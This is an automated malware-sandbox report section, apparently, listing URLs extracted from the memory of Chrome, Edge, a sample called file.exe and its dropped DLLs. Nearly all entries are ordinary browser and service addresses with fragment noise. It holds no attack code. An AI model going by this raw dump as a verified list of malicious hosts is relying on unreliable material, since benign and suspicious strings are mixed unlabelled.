Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0z
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/F
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/I~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/L~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/M
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/S~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/W
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Z
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/a
Source: chrome.exe, 00000003.00000003.2257438626.0000184C00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gjL
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/g~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/k
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/n
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/q~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/t~
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/u
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/x
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~~
Source: chrome.exe, 00000003.00000003.2257438626.0000184C00684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2257438626.0000184C00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2257438626.0000184C00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.2257438626.0000184C00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2292733810.0000460401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257641751.0000184C006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000007.00000002.2468960489.00006C9802594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000003.2292343161.0000460401B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2292343161.0000460401B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2292343161.0000460401B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardF
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2289150579.000046040140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289817078.00004604014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288485863.00004604014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288416172.00004604014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2257641751.0000184C006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2292024551.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 00000003.00000003.2289150579.000046040140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289817078.00004604014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288485863.00004604014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288416172.00004604014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2468960489.00006C9802594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2468960489.00006C9802594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhonepa
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.2269281587.0000460400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268922073.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log4.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log4.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: msedge.exe, 00000007.00000002.2468960489.00006C9802594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000003.2289881755.0000460400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzenl
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
